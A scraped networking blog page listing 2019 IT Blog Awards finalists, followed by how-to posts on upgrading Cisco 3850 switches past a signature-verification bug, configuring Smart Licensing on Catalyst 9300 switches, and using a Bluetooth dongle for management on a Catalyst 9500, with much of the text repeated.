Cisco is hosting the 2019 IT Blog Awards. Here are the finalists. You can vote by going to 2019 IT Blog Awards Finalists Voting!
I have only used mrnCCIEW and Clear to Send, and recommend both, but if they made this list they are probably worth a look.
Best Analysis - Does this blog provide insightful discussions?
Houman Asefi
How Does Internet Work
mrnCCIEW
Network Defense Blog
Wireless Nerd
The WLAN
vMiss
Best Cert Study Journey - Provides useful insights into the need-to-knows throughout a certification study journey.
Bruno Wollmann
Cisco Redes
IP Cisco
Lab Every Day
Network Fun TimesNo Blinky Blinky
Packit Forwarding
Best Newcomer - A great new blog / podcast / etc. started in the last(ish) year.
Cisco Worker Bee
Dmitry Golovach
Gifted Lane
Micheline Murphy
Network Freestyle
Never the Network
Plugins Blog
Best Podcast or Video Series - Best in content and creativity delivered in the format of videos or podcasts.
CIO In The Know
Clear to Send
Madrasa Tech
Mario Salinas
Network Bruh
Network Chuck
The Ask Anson Channel
Most Educational - Shares great tips, tricks, or how-to’s to help you learn something new or further your understanding on a topic.
About Networks
Craig Waters
Ferenc Kuris
Jorge De La Cruz
Sunday, December 8, 2019
2019 IT Blog Awards Finalists
Michael earned his first IT certification, a Novell Certified Netware Engineer (CNE) in 1993. Michael then focused on the Microsoft MCSE credential, studied database design, and wrote several Visual Basic programs to automate production at a manufacturing company.
In 2000 he earned the Cisco CCNA. Since then, Michael has earned Cisco’s security certification, Aruba’s switching certification, and the LPI’s Linux Essentials certification.
Wednesday, September 18, 2019
Signature Verification failed while upgrading a Cisco IOS-XE Based Switch
While upgrading some Cisco 3850 switches from 3.6.1 to 3.6.10 I ran into this message:
test-sw#software install file flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin new verbose
Preparing install operation ...
[1]: Starting install operation
[1]: Expanding bundle flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
[1]: % Signature Verification failed on cat3k_caa-base.SPA.03.06.10E.pkg. Operation aborted.
[1]: % Failed to extract consolidated content. Operation aborted.
[1]: % An internal error was encountered. Operation aborted.
I had verified the .bin file using the “verify /md5 <filename>” command before starting so I knew the file was good. I reloaded the switch and tried again but got the same results.
I opened a TAC case and they knew what to do! There is a bug that requires booting into bundle mode, and then manually expanding the .bin file. It’s actually very easy and doesn’t take much longer than the straight upgrade.
The bug has been fixed in 3.6.4 so you should only run into this on 3.6.0 to 3.6.3.
---------------------------
Switch 1
---------------------------
Current Boot Variables:
BOOT variable does not exist
Boot Variables on next reload:
BOOT variable = flash:packages.conf
Obviously the switch is running install mode because it’s booting from “packages.conf.”
Directory of flash:/
24242 -rwx 2097152 Sep 11 2019 23:00:03 -07:00 nvram_config
24243 -rw- 804 Jun 18 2015 14:28:13 -07:00 vlan.dat
24244 -rw- 302112348 Sep 9 2019 21:01:50 -07:00 cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
24251 -rw- 1236 Jun 16 2015 06:51:25 -07:00 packages.conf
56561 drwx 4096 Jun 16 2015 06:51:53 -07:00 mnt
24252 -rw- 82653508 Jun 16 2015 06:51:13 -07:00 cat3k_caa-base.SPA.03.06.01E.pkg
24253 -rw- 6625980 Jun 16 2015 06:51:13 -07:00 cat3k_caa-drivers.SPA.03.06.01E.pkg
24254 -rw- 33749996 Jun 16 2015 06:51:13 -07:00 cat3k_caa-infra.SPA.03.06.01E.pkg
24255 -rw- 42827072 Jun 16 2015 06:51:13 -07:00 cat3k_caa-iosd-universalk9.SPA.152-2.E1.pkg
24256 -rw- 25727884 Jun 16 2015 06:51:13 -07:00 cat3k_caa-platform.SPA.03.06.01E.pkg
24257 -rw- 99240768 Jun 16 2015 06:51:14 -07:00 cat3k_caa-wcm.SPA.10.2.111.0.pkg
56562 drwx 4096 Aug 14 2019 18:18:34 -07:00 dc_profile_dir
1562509312 bytes total (919986176 bytes free)
..........................................................................................................................…
Done!
verify /md5 (flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin) = ac15e03a732a23e894d3943d667ec168
The hash is correct so we can continue.
test-sw(config)#no boot system
test-sw(config)#boot system sw all flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
test-sw(config)#end
test-sw#wr mem
Building configuration...
Compressed configuration from 33642 bytes to 11246 bytes[OK]
---------------------------
Switch 1
---------------------------
Current Boot Variables:
BOOT variable = flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin;
Boot Variables on next reload:
BOOT variable = flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin;
Note: If you check the boot variable immediately after the wr mem it may still show
Boot Variables on next reload:
BOOT variable = flash:packages.conf
If it does, just wait 10 seconds and try again.
Reload command is being issued on Active unit, this will reload the whole stack
Proceed with reload? [confirm]
----------------------After the reload-----------------------------
Preparing expand operation ...
[1]: Expanding bundle flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
[1]: Copying package files
[1]: A different version of provisioning file packages.conf already exists in flash:.
The provisioning file from the expanded bundle will be saved as
flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.conf
[1]: Package files copied
[1]: Finished expanding bundle flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
Delete filename [packages.conf]?
Delete flash:/packages.conf? [confirm]
test-sw#rename flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.conf packages.conf
Destination filename [packages.conf]?
#! /usr/binos/bin/packages_conf.sh
sha1sum: b844cd3af271a3dd0fcfd90d38bb4f58f8b4f531
iso rp 0 0 rp_base cat3k_caa-base.SPA.03.06.10E.pkg
iso rp 0 0 rp_infra cat3k_caa-infra.SPA.03.06.10E.pkg
iso rp 0 0 rp_platform cat3k_caa-platform.SPA.03.06.10E.pkg
iso rp 0 0 rp_iosd cat3k_caa-iosd-universalk9.SPA.152-2.E10.pkg
iso rp 0 0 rp_wcm cat3k_caa-wcm.SPA.10.2.200.0.pkg
iso rp 0 0 drivers cat3k_caa-drivers.SPA.03.06.10E.pkg
Enter configuration commands, one per line. End with CNTL/Z.
test-sw(config)#no boot system
test-sw(config)#boot system flash:packages.conf
test-sw(config)#end
test-sw#wr mem
Building configuration...
Compressed configuration from 33566 bytes to 10974 bytes[OK]
test-sw#sh boot
---------------------------
Switch 1
---------------------------
Current Boot Variables:
BOOT variable = flash:packages.conf;
Boot Variables on next reload:
BOOT variable = flash:packages.conf;
Allow Dev Key = yes
Manual Boot = no
Enable Break = no
dir
verify /md5 cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
conf t
no boot system
boot system sw all flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
end
wr mem
sh boot
reload
software expand file flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
delete flash:packages.conf
rename flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.conf packages.conf
more flash:packages.conf
conf t
no boot system
boot system flash:packages.conf
end
wr mem
sh boot
test-sw#software install file flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin new verbose
Preparing install operation ...
[1]: Starting install operation
[1]: Expanding bundle flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
[1]: % Signature Verification failed on cat3k_caa-base.SPA.03.06.10E.pkg. Operation aborted.
[1]: % Failed to extract consolidated content. Operation aborted.
[1]: % An internal error was encountered. Operation aborted.
I had verified the .bin file using the “verify /md5 <filename>” command before starting so I knew the file was good. I reloaded the switch and tried again but got the same results.
I opened a TAC case and they knew what to do! There is a bug that requires booting into bundle mode, and then manually expanding the .bin file. It’s actually very easy and doesn’t take much longer than the straight upgrade.
The bug has been fixed in 3.6.4 so you should only run into this on 3.6.0 to 3.6.3.
Check the current boot variable
test-sw#sh boot---------------------------
Switch 1
---------------------------
Current Boot Variables:
BOOT variable does not exist
Boot Variables on next reload:
BOOT variable = flash:packages.conf
Obviously the switch is running install mode because it’s booting from “packages.conf.”
List the files in flash
test-sw#dirDirectory of flash:/
24242 -rwx 2097152 Sep 11 2019 23:00:03 -07:00 nvram_config
24243 -rw- 804 Jun 18 2015 14:28:13 -07:00 vlan.dat
24244 -rw- 302112348 Sep 9 2019 21:01:50 -07:00 cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
24251 -rw- 1236 Jun 16 2015 06:51:25 -07:00 packages.conf
56561 drwx 4096 Jun 16 2015 06:51:53 -07:00 mnt
24252 -rw- 82653508 Jun 16 2015 06:51:13 -07:00 cat3k_caa-base.SPA.03.06.01E.pkg
24253 -rw- 6625980 Jun 16 2015 06:51:13 -07:00 cat3k_caa-drivers.SPA.03.06.01E.pkg
24254 -rw- 33749996 Jun 16 2015 06:51:13 -07:00 cat3k_caa-infra.SPA.03.06.01E.pkg
24255 -rw- 42827072 Jun 16 2015 06:51:13 -07:00 cat3k_caa-iosd-universalk9.SPA.152-2.E1.pkg
24256 -rw- 25727884 Jun 16 2015 06:51:13 -07:00 cat3k_caa-platform.SPA.03.06.01E.pkg
24257 -rw- 99240768 Jun 16 2015 06:51:14 -07:00 cat3k_caa-wcm.SPA.10.2.111.0.pkg
56562 drwx 4096 Aug 14 2019 18:18:34 -07:00 dc_profile_dir
1562509312 bytes total (919986176 bytes free)
Verify the .bin file's md5 hash
test-sw#verify /md5 cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin..........................................................................................................................…
Done!
verify /md5 (flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin) = ac15e03a732a23e894d3943d667ec168
The hash is correct so we can continue.
Set the boot variable to boot the .bin file
test-sw#conf ttest-sw(config)#no boot system
test-sw(config)#boot system sw all flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
test-sw(config)#end
test-sw#wr mem
Building configuration...
Compressed configuration from 33642 bytes to 11246 bytes[OK]
Check the boot variable
test-sw#sh boot---------------------------
Switch 1
---------------------------
Current Boot Variables:
BOOT variable = flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin;
Boot Variables on next reload:
BOOT variable = flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin;
Note: If you check the boot variable immediately after the wr mem it may still show
Boot Variables on next reload:
BOOT variable = flash:packages.conf
If it does, just wait 10 seconds and try again.
Boot into bundle mode
test-sw#reloadReload command is being issued on Active unit, this will reload the whole stack
Proceed with reload? [confirm]
----------------------After the reload-----------------------------
Expand the .bin file
test-sw#software expand file flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.binPreparing expand operation ...
[1]: Expanding bundle flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
[1]: Copying package files
[1]: A different version of provisioning file packages.conf already exists in flash:.
The provisioning file from the expanded bundle will be saved as
flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.conf
[1]: Package files copied
[1]: Finished expanding bundle flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
Update the packages.conf file
test-sw#delete flash:packages.confDelete filename [packages.conf]?
Delete flash:/packages.conf? [confirm]
test-sw#rename flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.conf packages.conf
Destination filename [packages.conf]?
Verify that packages.conf contains the 3.6.10 files
test-sw#more flash:packages.conf#! /usr/binos/bin/packages_conf.sh
sha1sum: b844cd3af271a3dd0fcfd90d38bb4f58f8b4f531
iso rp 0 0 rp_base cat3k_caa-base.SPA.03.06.10E.pkg
iso rp 0 0 rp_infra cat3k_caa-infra.SPA.03.06.10E.pkg
iso rp 0 0 rp_platform cat3k_caa-platform.SPA.03.06.10E.pkg
iso rp 0 0 rp_iosd cat3k_caa-iosd-universalk9.SPA.152-2.E10.pkg
iso rp 0 0 rp_wcm cat3k_caa-wcm.SPA.10.2.200.0.pkg
iso rp 0 0 drivers cat3k_caa-drivers.SPA.03.06.10E.pkg
Update the Boot Variable for install mode
test-sw#conf tEnter configuration commands, one per line. End with CNTL/Z.
test-sw(config)#no boot system
test-sw(config)#boot system flash:packages.conf
test-sw(config)#end
test-sw#wr mem
Building configuration...
Compressed configuration from 33566 bytes to 10974 bytes[OK]
test-sw#sh boot
---------------------------
Switch 1
---------------------------
Current Boot Variables:
BOOT variable = flash:packages.conf;
Boot Variables on next reload:
BOOT variable = flash:packages.conf;
Allow Dev Key = yes
Manual Boot = no
Enable Break = no
Reload the switch to boot into 3.6.10
test-sw#reloadHere are the commands ready to paste in:
sh bootdir
verify /md5 cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
conf t
no boot system
boot system sw all flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
end
wr mem
sh boot
reload
software expand file flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.bin
delete flash:packages.conf
rename flash:cat3k_caa-universalk9.SPA.03.06.10.E.152-2.E10.conf packages.conf
more flash:packages.conf
conf t
no boot system
boot system flash:packages.conf
end
wr mem
sh boot
Michael earned his first IT certification, a Novell Certified Netware Engineer (CNE) in 1993. Michael then focused on the Microsoft MCSE credential, studied database design, and wrote several Visual Basic programs to automate production at a manufacturing company.
In 2000 he earned the Cisco CCNA. Since then, Michael has earned Cisco’s security certification, Aruba’s switching certification, and the LPI’s Linux Essentials certification.
Tuesday, August 27, 2019
Configuring Cisco Smart Licensing on the Catalyst Platform
According to Cisco Smart Licensing is the future. From the Cisco website:
"Smart Licensing is a cloud-based, software license management solution that allows you to manage and track the status of your license and hardware and software usage trends. Smart Licensing also enables you to automate time-consuming, manual licensing tasks."
The important statement on the website is this statement:
"Licenses are managed as smart licenses from Cisco IOS XE Fuji 16.9.1 and later."
That means that as soon as you upgrade to 16.9.1 or later your Right to Use licensing will no longer work. So how do you set up Smart Licensing on the switch?
It's actually pretty easy but it does require Internet access. You can use a proxy but I am not going to cover that today. If you are building the switches at your office for a customer you can configure the management interface and use your internal network. That is what I am doing in this example. If your switch already has internet access you can skip the management interface configuration.
Near the bottom is a bar code label "Order #". This is what Cisco calls the Sales Order (SO) number. You will need this if you contact TAC or the licensing team.
My switches were purchased with network-advantage licensing so I entered the code listed below. If you don't do this, the call-home service will try to register DNA Advantage and Network Advantage licenses. It works, but you get an Alert on the CSSM portal and you will see this in the output of "show license all"
License Usage
==============
C9300 48P DNA Advantage (C9300-48 DNA Advantage):
Description: C9300 48P DNA Advantage
Count: 4
Version: 1.0
Status: OUT OF COMPLIANCE
Export status: NOT RESTRICTED
Enter the following to set the license level to network-advantage. Note that a reload is required.
test#Conf t
test(config)#license boot level network-advantage
test(config)#exit
test#write memory
test#show version (showing just the relevant output)
Technology Package License Information:
------------------------------------------------------------------------------
Technology-package Technology-package
Current Type Next reboot
------------------------------------------------------------------------------
network-advantage Smart License network-advantage
dna-advantage Subscription Smart License None
AIR License Level: AIR DNA Advantage
Next reload AIR license Level: AIR DNA Advantage
reload
If you purchased additional add ons such as DNA your boot level command will look like this:
license boot level network-advantage addon dna-advantage
conf t
test(config)#interface GigabitEthernet0/0
test(config-if)#ip address dhcp
test(config-if)#no shut
exit
Since I am using the management interface I had to use the Mgmt-vrf for the host. Once the switch is installed, the management interface will be down so I added a host outside the Mgmt-vrf
test(config)#ip host vrf Mgmt-vrf tools.cisco.com 72.163.4.38
test(config)#ip host tools.cisco.com 72.163.4.38
test(config)#ip route vrf Mgmt-vrf 72.163.4.38 255.255.255.255 10.253.4.1
test(config)#ip http client source-interface g0/0
The "ip http client" statement must be in the configuration while using the management interface. You must remove if you don't use the management interface after install.
Make sure you can ping tools.cisco.com:
ping vrf Mgmt-vrf tools.cisco.com
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 72.163.4.38, timeout is 2 seconds:
!!!!!
test(config)#service call-home
test(config)#license smart transport callhome
test(config)#call-home
test(cfg-call-home)#no http secure server-identity-check
test(cfg-call-home)#profile CiscoTAC-1
test(cfg-call-home-profile)#reporting all
test(cfg-call-home-profile)#destination transport-method http
test(cfg-call-home-profile)#no destination transport-method email
test(cfg-call-home-profile)active
test(cfg-call-home-profile)#end
test#wr mem
Use show commands to review:
sh run | sec call-home
service call-home
call-home
! If contact email address in call-home is configured as sch-smart-licensing@cisco.com
! the email address configured in Cisco Smart License Portal will be used as contact email address to send SCH notifications.
contact-email-addr sch-smart-licensing@cisco.com
no http secure server-identity-check
profile "CiscoTAC-1"
active
destination transport-method http
no destination transport-method email
sh run | i call
service call-home
call-home
! If contact email address in call-home is configured as sch-smart-licensing@cisco.com
license smart transport callhome
When the page loads you will see 5 sections. Look for Administration:
Click on "Request a Smart Account" and follow the instructions.
When the page loads click on the Inventory tab.
Click the General tab, click "New Token..."
In the dialog that opens, enter a description and set the number of uses. Cisco recommends 30 and that is what I have been using.
Click "Create Token". You will return to the previous screen. Click on the blue diagonal arrow on the right of the token to copy it to the clipboard. Save the token for use on the switch.
Enter the Token on the switch
From enable mode, not configuration mode, enter:
license smart register idtoken <your token>
and press enter.
You will see "Registration process is in progress. Use the 'show license status' command to check the progress and result" in the CLI.
You can use "show license status" to check on the progress. If everything worked you will see:
Registration:
Status: REGISTERED
<Account name>
Virtual Account: DEFAULT
Export-Controlled Functionality: ALLOWED
Initial Registration: SUCCEEDED on Aug 27 13:58:49 2019 PDT
Last Renewal Attempt: None
Next Renewal Attempt: Feb 23 13:58:48 2020 PDT
Registration Expires: Aug 26 13:52:59 2020 PDT
License Authorization:
Status: OUT OF COMPLIANCE on Aug 27 13:58:53 2019 PDT
Last Communication Attempt: SUCCEEDED on Aug 27 13:58:53 2019 PDT
On the switch. Back on the portal, click on the "Alerts" tab and you will see:
You will need to contact TAC and get the liscense associated with the switch.
If you receive the message
"Operation not supported because the agent is running in Permanent License Reservation mode"
Run the following
(config)#no license smart reservation
test#sh call-home profile all
Profile Name: CiscoTAC-1
Profile status: ACTIVE
Profile mode: Full Reporting
Reporting Data: Smart Call Home, Smart Licensing
Preferred Message Format: xml
Message Size Limit: 3145728 Bytes
Transport Method: http
HTTP address(es): https://tools.cisco.com/its/service/oddce/services/DDCEService
Other address(es): default
Periodic configuration info message is scheduled every 1 day of the month at 09:15
Periodic inventory info message is scheduled every 1 day of the month at 09:00
Alert-group Severity
------------------------ ------------
crash debug
diagnostic minor
environment warning
inventory normal
Syslog-Pattern Severity
------------------------ ------------
APF-.-WLC_.* warning
.* major
Show full license status
You can use "show license all" to see the complete license status
test#sh license all
Smart Licensing Status
======================
Smart Licensing is ENABLED
Registration:
Status: REGISTERED
Smart Account: The perfect customer
Virtual Account: DEFAULT
Export-Controlled Functionality: ALLOWED
Initial Registration: SUCCEEDED on Aug 27 13:58:49 2019 PDT
Last Renewal Attempt: SUCCEEDED on Aug 28 09:01:22 2019 PDT
Next Renewal Attempt: Feb 24 09:01:21 2020 PDT
Registration Expires: Aug 27 08:55:36 2020 PDT
License Authorization:
Status: OUT OF COMPLIANCE on Aug 27 13:58:53 2019 PDT
Last Communication Attempt: SUCCEEDED on Aug 28 09:01:28 2019 PDT
Next Communication Attempt: Aug 28 21:01:28 2019 PDT
Communication Deadline: Nov 26 08:55:44 2019 PDT
Export Authorization Key:
Features Authorized:
<none>
Utility:
Status: DISABLED
Data Privacy:
Sending Hostname: yes
Callhome hostname privacy: DISABLED
Smart Licensing hostname privacy: DISABLED
Version privacy: DISABLED
Transport:
Type: Callhome
License Usage
==============
C9300 48P DNA Advantage (C9300-48 DNA Advantage):
Description: C9300 48P DNA Advantage
Count: 4
Version: 1.0
Status: OUT OF COMPLIANCE
Export status: NOT RESTRICTED
C9300 48P NW Advantage (C9300-48 Network Advantage):
Description: C9300 48P NW Advantage
Count: 4
Version: 1.0
Status: AUTHORIZED
Export status: NOT RESTRICTED
Product Information
===================
UDI: PID:C9300-48UXM,SN:FJC2324S042
HA UDI List:
Active:PID:C9300-48UXM,SN:XXXXXXXS042
Standby:PID:C9300-48UXM,SN:XXXXXXXE014
Member:PID:C9300-48UXM,SN:XXXXXXXE04M
Member:PID:C9300-48UXM,SN:XXXXXXXB02D
Agent Version
=============
Smart Agent for Licensing: 4.8.5.1_rel/8
Reservation Info
================
License reservation: DISABLED
"Smart Licensing is a cloud-based, software license management solution that allows you to manage and track the status of your license and hardware and software usage trends. Smart Licensing also enables you to automate time-consuming, manual licensing tasks."
The important statement on the website is this statement:
"Licenses are managed as smart licenses from Cisco IOS XE Fuji 16.9.1 and later."
That means that as soon as you upgrade to 16.9.1 or later your Right to Use licensing will no longer work. So how do you set up Smart Licensing on the switch?
It's actually pretty easy but it does require Internet access. You can use a proxy but I am not going to cover that today. If you are building the switches at your office for a customer you can configure the management interface and use your internal network. That is what I am doing in this example. If your switch already has internet access you can skip the management interface configuration.
Set the correct license level
There will be a printed card in the box with the swiitch that lists the type and quantity of licenses that were purchased. Notice in the picture below that the quantity is 17. That is because there were 17 switches on the sales order.Near the bottom is a bar code label "Order #". This is what Cisco calls the Sales Order (SO) number. You will need this if you contact TAC or the licensing team.
My switches were purchased with network-advantage licensing so I entered the code listed below. If you don't do this, the call-home service will try to register DNA Advantage and Network Advantage licenses. It works, but you get an Alert on the CSSM portal and you will see this in the output of "show license all"
License Usage
==============
C9300 48P DNA Advantage (C9300-48 DNA Advantage):
Description: C9300 48P DNA Advantage
Count: 4
Version: 1.0
Status: OUT OF COMPLIANCE
Export status: NOT RESTRICTED
Enter the following to set the license level to network-advantage. Note that a reload is required.
test#Conf t
test(config)#license boot level network-advantage
test(config)#exit
test#write memory
test#show version (showing just the relevant output)
Technology Package License Information:
------------------------------------------------------------------------------
Technology-package Technology-package
Current Type Next reboot
------------------------------------------------------------------------------
network-advantage Smart License network-advantage
dna-advantage Subscription Smart License None
AIR License Level: AIR DNA Advantage
Next reload AIR license Level: AIR DNA Advantage
reload
If you purchased additional add ons such as DNA your boot level command will look like this:
license boot level network-advantage addon dna-advantage
Configure the Management interface
I was connecting to a LAN with a DHCP server so I used DHCP. If you don't have access to a DHCP server use a valid static IP address.conf t
test(config)#interface GigabitEthernet0/0
test(config-if)#ip address dhcp
test(config-if)#no shut
exit
Configure routing and host resolution
Smart Licensing uses the "Call-Home" service and must be able to reach tools.cisco.com. I added a host entry since this customer doesn't allow name servers.Since I am using the management interface I had to use the Mgmt-vrf for the host. Once the switch is installed, the management interface will be down so I added a host outside the Mgmt-vrf
test(config)#ip host vrf Mgmt-vrf tools.cisco.com 72.163.4.38
test(config)#ip host tools.cisco.com 72.163.4.38
test(config)#ip route vrf Mgmt-vrf 72.163.4.38 255.255.255.255 10.253.4.1
test(config)#ip http client source-interface g0/0
The "ip http client" statement must be in the configuration while using the management interface. You must remove if you don't use the management interface after install.
Make sure you can ping tools.cisco.com:
ping vrf Mgmt-vrf tools.cisco.com
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 72.163.4.38, timeout is 2 seconds:
!!!!!
Configure the Smart Call-Home service
test(config)#service call-home
test(config)#license smart transport callhome
test(config)#call-home
test(cfg-call-home)#no http secure server-identity-check
test(cfg-call-home)#profile CiscoTAC-1
test(cfg-call-home-profile)#reporting all
test(cfg-call-home-profile)#destination transport-method http
test(cfg-call-home-profile)#no destination transport-method email
test(cfg-call-home-profile)active
test(cfg-call-home-profile)#end
test#wr mem
Use show commands to review:
sh run | sec call-home
service call-home
call-home
! If contact email address in call-home is configured as sch-smart-licensing@cisco.com
! the email address configured in Cisco Smart License Portal will be used as contact email address to send SCH notifications.
contact-email-addr sch-smart-licensing@cisco.com
no http secure server-identity-check
profile "CiscoTAC-1"
active
destination transport-method http
no destination transport-method email
sh run | i call
service call-home
call-home
! If contact email address in call-home is configured as sch-smart-licensing@cisco.com
license smart transport callhome
Create the Smart Account
Smart licensing requires a "Smart" account before you can activate the license on the switch. To create your account go to CSSM.When the page loads you will see 5 sections. Look for Administration:
Click on "Request a Smart Account" and follow the instructions.
Create Token
You will need a "token" that gets pasted into the switch. Once you have your account, log in and click on Smart Licensing in the "License" section:
When the page loads click on the Inventory tab.
Click the General tab, click "New Token..."
In the dialog that opens, enter a description and set the number of uses. Cisco recommends 30 and that is what I have been using.
Click "Create Token". You will return to the previous screen. Click on the blue diagonal arrow on the right of the token to copy it to the clipboard. Save the token for use on the switch.
Enter the Token on the switch
From enable mode, not configuration mode, enter:
license smart register idtoken <your token>
and press enter.
You will see "Registration process is in progress. Use the 'show license status' command to check the progress and result" in the CLI.
You can use "show license status" to check on the progress. If everything worked you will see:
Registration:
Status: REGISTERED
<Account name>
Virtual Account: DEFAULT
Export-Controlled Functionality: ALLOWED
Initial Registration: SUCCEEDED on Aug 27 13:58:49 2019 PDT
Last Renewal Attempt: None
Next Renewal Attempt: Feb 23 13:58:48 2020 PDT
Registration Expires: Aug 26 13:52:59 2020 PDT
What if it didn't work?
As you can see, there are a lot of things that must go right for this to work. One thing I have run into is the licenses have to be associated with the switch serial number. If they aren't you will see:License Authorization:
Status: OUT OF COMPLIANCE on Aug 27 13:58:53 2019 PDT
Last Communication Attempt: SUCCEEDED on Aug 27 13:58:53 2019 PDT
On the switch. Back on the portal, click on the "Alerts" tab and you will see:
You will need to contact TAC and get the liscense associated with the switch.
If you receive the message
"Operation not supported because the agent is running in Permanent License Reservation mode"
Run the following
(config)#no license smart reservation
test#sh call-home profile all
Profile Name: CiscoTAC-1
Profile status: ACTIVE
Profile mode: Full Reporting
Reporting Data: Smart Call Home, Smart Licensing
Preferred Message Format: xml
Message Size Limit: 3145728 Bytes
Transport Method: http
HTTP address(es): https://tools.cisco.com/its/service/oddce/services/DDCEService
Other address(es): default
Periodic configuration info message is scheduled every 1 day of the month at 09:15
Periodic inventory info message is scheduled every 1 day of the month at 09:00
Alert-group Severity
------------------------ ------------
crash debug
diagnostic minor
environment warning
inventory normal
Syslog-Pattern Severity
------------------------ ------------
APF-.-WLC_.* warning
.* major
Show full license status
You can use "show license all" to see the complete license status
test#sh license all
Smart Licensing Status
======================
Smart Licensing is ENABLED
Registration:
Status: REGISTERED
Smart Account: The perfect customer
Virtual Account: DEFAULT
Export-Controlled Functionality: ALLOWED
Initial Registration: SUCCEEDED on Aug 27 13:58:49 2019 PDT
Last Renewal Attempt: SUCCEEDED on Aug 28 09:01:22 2019 PDT
Next Renewal Attempt: Feb 24 09:01:21 2020 PDT
Registration Expires: Aug 27 08:55:36 2020 PDT
License Authorization:
Status: OUT OF COMPLIANCE on Aug 27 13:58:53 2019 PDT
Last Communication Attempt: SUCCEEDED on Aug 28 09:01:28 2019 PDT
Next Communication Attempt: Aug 28 21:01:28 2019 PDT
Communication Deadline: Nov 26 08:55:44 2019 PDT
Export Authorization Key:
Features Authorized:
<none>
Utility:
Status: DISABLED
Data Privacy:
Sending Hostname: yes
Callhome hostname privacy: DISABLED
Smart Licensing hostname privacy: DISABLED
Version privacy: DISABLED
Transport:
Type: Callhome
License Usage
==============
C9300 48P DNA Advantage (C9300-48 DNA Advantage):
Description: C9300 48P DNA Advantage
Count: 4
Version: 1.0
Status: OUT OF COMPLIANCE
Export status: NOT RESTRICTED
C9300 48P NW Advantage (C9300-48 Network Advantage):
Description: C9300 48P NW Advantage
Count: 4
Version: 1.0
Status: AUTHORIZED
Export status: NOT RESTRICTED
Product Information
===================
UDI: PID:C9300-48UXM,SN:FJC2324S042
HA UDI List:
Active:PID:C9300-48UXM,SN:XXXXXXXS042
Standby:PID:C9300-48UXM,SN:XXXXXXXE014
Member:PID:C9300-48UXM,SN:XXXXXXXE04M
Member:PID:C9300-48UXM,SN:XXXXXXXB02D
Agent Version
=============
Smart Agent for Licensing: 4.8.5.1_rel/8
Reservation Info
================
License reservation: DISABLED
References
Configuring Smart Licensing
Michael earned his first IT certification, a Novell Certified Netware Engineer (CNE) in 1993. Michael then focused on the Microsoft MCSE credential, studied database design, and wrote several Visual Basic programs to automate production at a manufacturing company.
In 2000 he earned the Cisco CCNA. Since then, Michael has earned Cisco’s security certification, Aruba’s switching certification, and the LPI’s Linux Essentials certification.
Sunday, August 25, 2019
Using Bluetooth with Cisco's Catalyst 9500
With release 16.12.1 Cisco added support for Bluetooth dongles for management. From the release notes:
The connected dongle acts as a Bluetooth host and serves as a management port connection on the device.
Being able to log on wirelessly using a tiny USB dongle seemed worth some time to figure out. I have an Air-console and it works great but it has to be charged, have a serial to USB cable and is larger than a USB Dongle.
Where to get a Bluetooth USB dongle
I had my Air-Console laying on the table and remembered that it has a USB Bluetooth dongle. I popped it into my Ubuntu laptop and ran "lsusb" to see what chipset it had:
lsusb
Bus 001 Device 012: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)
That is a very common chipset and USB dongles with that chipset are available on ebay for around $4. Search for "CSR 4.0 dongle". If it works on the C9500 that would be great.
Linux has great terminal tools for working with Bluetooth devices. One of them is hciconfig. I ran it to see if the dongle was working on Ubuntu and it was:
hciconfig
hci1: Type: Primary Bus: USB
BD Address: 02:BF:28:F8:B1:ED ACL MTU: 310:10 SCO MTU: 64:8
UP RUNNING
RX bytes:730 acl:0 sco:0 events:56 errors:0
TX bytes:4877 acl:0 sco:0 commands:56 errors:0
My laptop has Bluetooth built in and it mounts as hci0 so the dongle mounted as hci1. You can see the dongle is working.
show platform hardware bluetooth
Controller: 2:bf:28:f8:b1:ed
Type: Primary
Bus: USB
State: UP RUNNING PSCAN ISCAN
Name: BOED-C9500
HCI Version: 4.0
Looks like the dongle from the Air-Console will work and I can use the $4 dongles off ebay. Notice that the switch reports HCI Version 4.0. HCI stands for Host Controller Interface and is the protocol that allows communiction between the host and the controller (Chipset).
The PSCAN means Page Scan and ISCAN means Inquiry scan. See the links in the refeences below for more information.
One thing to note: If you run:
show interface bluetooth 0/4
and there isn't an active Bluetooth connection, it will show Down/Down. You have to use the "show platform hardware bluetooth" to see if the dongle is up.
interface bluetooth 0/4
enable
no shut
exit
bluetooth pin 1111
end
wr
